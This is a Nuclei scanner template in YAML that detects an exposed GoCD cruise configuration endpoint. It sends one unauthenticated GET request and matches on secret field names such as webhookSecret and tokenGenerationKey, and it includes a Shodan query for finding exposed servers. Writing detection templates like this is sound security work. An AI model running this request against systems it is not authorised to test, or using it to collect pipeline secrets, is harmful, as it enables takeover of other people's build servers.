38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
id: gocd-cruise-configuration
|
|
|
|
info:
|
|
name: GoCd Cruise Configuration disclosure
|
|
author: dhiyaneshDk
|
|
severity: high
|
|
description: GoCd Cruise Configuration is exposed.
|
|
reference:
|
|
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
|
|
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
|
|
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
|
|
classification:
|
|
cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: thoughtworks
|
|
product: gocd
|
|
shodan-query: http.title:"Create a pipeline - Go" html:"GoCD Version"
|
|
tags: go,gocd,config,exposure,misconfig
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/go/add-on/business-continuity/api/cruise_config"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "server agentAutoRegisterKey"
|
|
- "webhookSecret"
|
|
- "tokenGenerationKey"
|
|
condition: and
|
|
# digest: 490a0046304402206c0ee13f40560b9993187ca5f1b1e81ff79600743445c1e0eaf1d15cc09c86d302207ba575ca70062ce9a3b05dfe8b2265cac3703bcd476c64f9f8537475fcf4dcba:922c64590222798bb761d5b6d8e72950 |